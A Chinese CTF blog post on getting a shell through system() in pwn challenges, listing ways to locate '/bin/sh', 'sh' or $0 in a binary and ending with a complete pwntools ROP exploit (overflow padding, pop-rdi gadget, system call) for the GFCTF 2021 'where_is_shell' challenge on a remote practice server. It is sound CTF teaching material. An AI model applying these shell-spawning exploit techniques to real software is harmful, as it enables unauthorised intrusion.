【PWN · 总结】system返回shell(‘/bin/sh‘、‘sh‘、$(0))

news/2024/5/19 20:53:19 标签: ctf, pwn, /bin/sh, system, kali指令

pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。

目录

前言

一、'/bin/sh'

1.strings

2.IDA 

pwntools%C2%A0-toc" style="margin-left:40px;">3.pwntools 

4.ROPgadget

5.libc中寻找

二、'sh'

三、$(0) 

exp

IDA查看机器码 

总结


前言

system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell


一、'/bin/sh'

这个无需多说,然而查找方式可以总结一下

1.strings

linux的指令~

strings filename | grep /bin/sh

2.IDA 

shift+F12即可获取所有的字符串即位置

当然,我这个截图里面没有'/bin/sh'

pwntools%C2%A0">3.pwntools 

pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串

from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故

4.ROPgadget

ROPgadget --binary filename --strings '/bin/sh'

5.libc中寻找

from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串 


二、'sh'

这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下


三、$(0) 

这是当前遇到的一道题目,[GFCTF 2021]where_is_shell

利用system($0)获得shell权限,$0在机器码中为 \x24\x30

题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~

查看机器码

发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。

exp

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)

elf=ELF("./shell")

system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:
    print(system_plt,"  ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416

payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)

io.sendlineafter(b'it?\n',payload)
io.interactive()

IDA查看机器码 

opcode bytes设置一下,保存即可 


总结

对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦


http://www.niftyadmin.cn/n/378971.html

相关文章

新手如何起步做自媒体?

其实想要从0到1把一个账号做到开始获得收益并没有你想象中那么难,只不过是你不知道方法而已。 不少人都说做自媒体赚钱实在是太难了?难的是你不知道如何开始起步,不知道从何下手。 当你真的上手之后,你会发现做自媒体赚钱并没有…

揭秘速卖通卖家成功的绝佳秘籍,助您打造畅销店铺!

在竞争激烈的速卖通市场中,如何让您的店铺脱颖而出并实现畅销?林哥今天就跟大家讲一讲一些成功速卖通卖家的绝佳秘籍,帮助您引导高流量和高转化率,成就一个畅销的店铺。 ​一、精确定位目标受众 成功的速卖通店铺离不开精确的目标…

感恩过去,展望未来

前言: • 有幸再次遇见你: • 还记得 2019 年 06 月 01 日吗? • 你撰写了第 1 篇技术博客: • 《基于原生JavaScript的选字练习游戏》 • 在这平凡的一天,你赋予了它不平凡的意义。 • 也许是立志成为一名专业 IT 作者…

Mysql 三级等保安全加固 —— 筑梦之路

安全加固的前提是保障业务稳定运行,而不是为了安全加固而加固!!!! 1. 新增审计账号并赋予相关权限 进入数据库操作后台: mysql -h 192.168.101.17-u root -p查看数据库用户和口令信息: select…

Axios请求失败重刷接口

需求背景 页面接口请求时偶尔会出现 Network Error 异常报错,重新请求就会请求成功 接口没办法捕获异常原因,前端来做一次重刷解决问题 net::ERR_SSL_PROTOCOL_ERRORnet::ERR_CONNECTION_REFUSED 解决思路 记录请求map(以url为唯一标识&…

如何在 Python 2 和 3 之间切换

文章目录 在 Python 2 和 3 之间切换在 Linux 和 macOS 中切换 Python 2 和 3 在 Windows 中切换 Python 2 和 3 Python 在不同的操作系统环境(Windows、macOS、Linux 和 Android)中有不同的版本。 自 1991 年以来,它已经有了三个主要版本&am…

牛客网Linux错题三

1.Linux什么情况下会发生page fault(B) A.系统可用内存不够时 B.所需访问虚拟内存未被挂载 C.当开始进行 swap 交换时 D.当进程被挂起时 这里设备分为物理内存和虚拟内存,如果进程借助物理内存运行,进程运行所需内存大于物理内存时也无法启动进程。…

2023年5月第4周大模型荟萃

2023年5月第4周大模型荟萃 2023.5.31版权声明:本文为博主chszs的原创文章,未经博主允许不得转载。 1、AI 图像编辑技术 DragGAN 问世 近日,来自 Google 的研究人员与 Max Planck 信息学研究所和麻省理工学院 CSAIL 一起,发布了…